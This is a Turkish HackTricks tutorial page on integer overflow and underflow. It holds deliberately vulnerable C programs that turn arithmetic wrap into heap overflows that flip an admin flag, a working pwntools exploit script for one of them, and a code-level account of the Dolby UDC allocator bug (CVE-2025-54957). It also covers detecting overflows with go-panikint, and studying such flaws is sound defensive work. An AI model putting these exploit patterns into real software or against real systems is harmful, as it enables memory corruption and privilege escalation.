Integer Overflow

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Bir integer overflow’un özünde bilgisayar programlamada veri tiplerinin boyutunun getirdiği kısıtlama ve verinin yorumlanması yatar.

Örneğin, bir 8-bit işaretsiz tamsayı 0 ile 255 arasındaki değerleri temsil edebilir. Bir 8-bit işaretsiz tamsayıya 256 değerini depolamaya çalışırsanız, depolama kapasitesinin sınırlaması nedeniyle değer 0’a dolanır (wrap around). Benzer şekilde, 16-bit işaretsiz tamsayı için, 0 ile 65,535 arasındaki değerleri tutabilir; 65,535’e 1 eklemek değeri tekrar 0’a sarar.

Ayrıca, bir 8-bit işaretli tamsayı -128 ile 127 arasındaki değerleri temsil edebilir. Bunun nedeni bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılması ve büyüklüğü temsil etmek için 7 bit kalmasıdır. En negatif sayı -128 (binary 10000000) ile temsil edilirken, en pozitif sayı 127 (binary 01111111) ile temsil edilir.

Max değerler için yaygın integer tipleri:

TipBoyut (bit)Min DeğerMaks Değer
int8_t8-128127
uint8_t80255
int16_t16-32,76832,767
uint16_t16065,535
int32_t32-2,147,483,6482,147,483,647
uint32_t3204,294,967,295
int64_t64-9,223,372,036,854,775,8089,223,372,036,854,775,807
uint64_t64018,446,744,073,709,551,615

64-bit sistemlerde short int16_t’ye, int int32_t’ye ve long int64_t’ye karşılık gelir.

Maksimum değerler

Potansiyel web zafiyetleri için desteklenen maksimum değerleri bilmek çok ilginçtir:

fn main() {

let mut quantity = 2147483647;

let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);

println!("{}", mul_result);
println!("{}", add_result);
}

Örnekler

Pure overflow

Yazdırılan sonuç 0 olacaktır çünkü char’ı overflowed ettik:

#include <stdio.h>

int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}

İşaretli’den İşaretsize Dönüşüm

Kullanıcı girdisinden bir işaretli tamsayının okunduğu ve uygun doğrulama yapılmadan bu değerin işaretsiz tamsayı olarak muamele edilen bir bağlamda kullanıldığı bir durumu düşünün:

#include <stdio.h>

int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);

// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;

// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}

return 0;
}

Bu örnekte, bir kullanıcı negatif bir sayı girerse, binary values’ın yorumlanma biçimi nedeniyle bu sayı büyük bir unsigned integer olarak yorumlanacak ve bu beklenmeyen davranışlara yol açabilir.

macOS Overflow Example

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}

struct session {
int is_admin;           // Target to flip from 0 → 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;

printf("Requested bytes: %zu\n", want);

while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;

ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF – stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}


int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");

// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;

// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
//    NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32   = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);

// 3) Allocate a single arena and lay out [buffer][slack][session]
//    This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;  // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).

// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size;                   // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);

puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);

// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Şununla derleyin:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c

Exploit

# exploit.py
from pwn import *

# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"

EXE = "./int_ovf_heap_priv"

def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE])  # stdin=PIPE, stdout=PIPE by default

# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296")  # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ",  b"1")           # alloc32 = 32, offset_to_sess = 48

# 2) Wait until it’s actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")

# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)

# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send")   # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary

# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))

if __name__ == "__main__":
main()

macOS Underflow Örneği

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>

/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/

__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}

struct session {
int  is_admin;      // flip 0 -> 1
char note[64];
};

static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk  = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break;    // EOF: partial read is fine
perror("read"); break;
}
return got;
}

int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");

size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"

const size_t HEADER = 16;

// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER;   // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);

// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);

unsigned char *buf  = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);

printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);

puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);

if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}

Şu komutla derleyin:

clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c

Allocator hizalama yuvarlama sarması → undersized chunk → heap overflow (Dolby UDC vakası)

Bazı özel allocator’lar, overflow’u tekrar kontrol etmeden tahsisatı hizalamaya göre yukarı yuvarlar. Dolby Unified Decoder’da (Pixel 9, CVE-2025-54957), saldırgan kontrollü emdf_payload_size (sınırsız bir variable_bits(8) döngüsü ile decode edilir) ddp_udc_int_evo_malloc’a verilir:

size_t total_size = alloc_size + extra;
if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
if (total_size % 8)
total_size += (8 - total_size) % total_size; // vulnerable rounding
if (total_size > heap->remaining) return 0;

64-bit değerler için 0xFFFFFFFFFFFFFFF9’a yakın olduğunda, (8 - total_size) % total_size toplama taşması yapar ve mantıksal alloc_size büyük kalsa bile küçük total_size üretir. Çağıran daha sonra döndürülen chunk’a payload_length bytes yazar:

buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
buffer[i] = next_byte_from_emdf();       // writes past tiny chunk
}

Bu desenin exploit açısından neden güvenilir olduğu:

  • Overflow length control: Baytlar, başka bir attacker-chosen length (emdf_container_length) ile sınırlandırılmış bir reader’dan alınır; bu yüzden yazma, payload_length yerine N bayttan sonra durur.
  • Overflow data control: Chunk sonrasına yazılan baytlar tamamen attacker-supplied olup EMDF payload’tan gelir.
  • Heap determinism: Allocator, hiçbir free olmayan bir per-frame bump-pointer slab olduğundan, bozulmuş nesnelerin bitişikliği öngörülebilirdir.

Diğer Örnekler

(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)

Go tamsayı taşması tespiti go-panikint ile

Go tamsayıları sessizce sarmalar. go-panikint Go araç zincirinin fork’u olup SSA overflow kontrolleri enjekte eder; böylece sarmalanmış aritmetik hemen runtime.panicoverflow()’u (panic + stack trace) çağırır.

Neden kullanmalı

  • Aritmetik sarmalandığında artık çökme yaşandığı için overflow/truncation durumları fuzzing/CI’de tetiklenebilir hale gelir.
  • Kullanıcı kontrollü sayfalandırma, offset’ler, kotlar, boyut hesaplamaları veya erişim-kontrol aritmetiği gibi durumlarda faydalıdır (ör. end := offset + limit üzerinde uint64 küçük değerlerle sarmalandığında).

Derleme & kullanım

git clone https://github.com/trailofbits/go-panikint
cd go-panikint/src && ./make.bash
export GOROOT=/path/to/go-panikint
./bin/go test -fuzz=FuzzOverflowHarness

Bu forklanmış go ikili dosyasını testler/fuzzing için çalıştırın ki taşmalar panics olarak ortaya çıksın.

Gürültü kontrolü

  • Truncation kontrolleri (daha küçük int’lere cast’ler) gürültülü olabilir.
  • Kasıtlı wrap-around’ı source-path filtreleri veya satır içi // overflow_false_positive / // truncation_false_positive yorumlarıyla bastırın.

Gerçek dünya örüntüsü

go-panikint, Cosmos SDK uint64 pagination overflow’unu ortaya çıkardı: end := pageRequest.Offset + pageRequest.Limit MaxUint64’yi aşıp wrap oldu ve boş sonuçlar döndü. Enstrümantasyon sessiz sarmalanmayı bir panic’e dönüştürdü ve fuzzers bunun minimize edilmesini sağlayabildi.

ARM64

This doesn’t change in ARM64 as you can see in this blog post.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin